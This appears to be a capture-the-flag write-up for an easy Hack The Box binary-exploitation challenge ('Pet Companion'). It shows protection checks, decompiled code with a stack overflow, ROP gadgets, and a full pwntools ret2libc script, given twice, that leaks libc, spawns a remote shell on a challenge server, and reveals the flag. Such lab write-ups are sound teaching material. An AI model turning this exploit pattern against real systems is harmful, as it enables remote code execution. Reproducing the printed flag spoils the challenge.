Pet Companion
- Difficulty: Easy
 - Technique: 
Ret-2-Libc 
Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet's demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.
Approach
Check protections
Command:
$ checksec --file=pet_companion
Output:
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'./glibc/'
No PIE & canary. Potentially ROP.
Disassemble binary
main function's pseudocode:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF
  setup();
  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  buf[3] = 0LL;
  buf[4] = 0LL;
  buf[5] = 0LL;
  buf[6] = 0LL;
  buf[7] = 0LL;
  write(1, "\n[!] Set your pet companion's current status: ", 46uLL);
  read(0, buf, 256uLL);
  write(1, "\n[*] Configuring...\n\n", 21uLL);
  return 0;
}
No flag function. Buffer overflow vulnerability observed. ROP can be used.
Inspect GOT table
Check external libc function stored in the Global Offset Table (GOT).
.got:0000000000600FC0 ; ===========================================================================
.got:0000000000600FC0
.got:0000000000600FC0 ; Segment type: Pure data
.got:0000000000600FC0 ; Segment permissions: Read/Write
.got:0000000000600FC0 _got            segment qword public 'DATA' use64
.got:0000000000600FC0                 assume cs:_got
.got:0000000000600FC0                 ;org 600FC0h
.got:0000000000600FC0 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000600FC8 qword_600FC8    dq 0                    ; DATA XREF: sub_4004E0↑r
.got:0000000000600FD0 qword_600FD0    dq 0                    ; DATA XREF: sub_4004E0+6↑r
.got:0000000000600FD8 write_ptr       dq offset write         ; DATA XREF: _write↑r
.got:0000000000600FE0 read_ptr        dq offset read          ; DATA XREF: _read↑r
.got:0000000000600FE8 setvbuf_ptr     dq offset setvbuf       ; DATA XREF: _setvbuf↑r
.got:0000000000600FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000600FF0                                         ; DATA XREF: _start+24↑r
.got:0000000000600FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000600FF8                                         ; DATA XREF: _init_proc+4↑r
.got:0000000000600FF8 _got            ends
.got:0000000000600FF8
Useful functions are only write and read.
Exploit
- Leak libc function address by writing the address of 
writefunction in the GOT to std out - Compute libc base address with leak 
writefunction address - Retrieve libc addresses of 
systemand/bin/sh\x00 - Spawn shell and get flag
 
Leak libc address
Write write function address in GOT to standard output
The
writefunction requires two arguments:
- file descriptor - RDI
 - pointer to file - RSI
 
Find suitable gadgets using ROPgadgets.
Command:
ROPgadget --binary=pet_companion
Output:
Gadgets information
============================================================
.
.
0x0000000000400743 : pop rdi ; ret
0x0000000000400741 : pop rsi ; pop r15 ; ret
.
.
Unique gadgets found: 85
Create payload with found gadgets:
from pwn import *
elf = context.binary = ELF('./pet_companion')
libc = ELF('./glibc/libc.so.6') 
rop = ROP(elf)
r = remote('83.136.255.205', 49851)
# r = gdb.debug('./pet_companion', gdbscript=''' break * 0x4006D9''')
main = p64(elf.symbols.main)
ret = p64(next(elf.search(asm('ret'))))
rdi_std = p64(1) # write to stdout
rsi_write = p64(elf.got.write) + p64(0) # p64(0) to fill r15
write_plt = p64(elf.plt.write)
pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address) # pop rdi, ret
pop_rsi = p64(0x0400741) # pop rsi, r15 ,ret
padding = 64*b'A'
payload = padding + ret + pop_rdi + rdi_std + pop_rsi + rsi_write + write_plt + ret + main
r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')
leak = r.recvline().split(b' ')
leak_write = u64(leak[0].ljust(8,b'\x00'))
Compute libc base address:
libc.address = leak_write - libc.symbols.write
log.info(f'Received: {hex(libc.address)}')
Compute system and /bin/sh addresses:
bin_sh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.symbols.system)
Spawn shell && get flag
payload2 = padding + ret + pop_rdi + bin_sh + ret + system
r.sendline(payload2)
r.interactive()
Remarks: Classical ret-2-libc challenge, twist is leaking libc address using
writeinstead ofputsorprintf.
Script
from pwn import *
elf = context.binary = ELF('./pet_companion')
libc = ELF('./glibc/libc.so.6') 
rop = ROP(elf)
r = remote('83.136.255.205', 49851)
# r = gdb.debug('./pet_companion', gdbscript=''' break * 0x4006D9''')
main = p64(elf.symbols.main)
ret = p64(next(elf.search(asm('ret'))))
rdi_std = p64(1) # write to stdout
rsi_write = p64(elf.got.write) + p64(0) # p64(0) to fill r15
write_plt = p64(elf.plt.write)
pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address) # pop rdi, ret
pop_rsi = p64(0x0400741) # pop rsi, r15 ,ret
padding = 64*b'A'
payload = padding + ret + pop_rdi + rdi_std + pop_rsi + rsi_write + write_plt + ret + main
log.info(f"len of payload: {len(payload)}")
r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')
leak = r.recvline().split(b' ')
leak_write = u64(leak[0].ljust(8,b'\x00'))
libc.address = leak_write - libc.symbols.write
log.info(f'Received: {hex(libc.address)}')
bin_sh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.symbols.system)
payload2 = padding + ret + pop_rdi + bin_sh + ret + system
r.sendline(payload2)
r.interactive()
Flag
HTB{c0nf1gur3_w3r_d0g}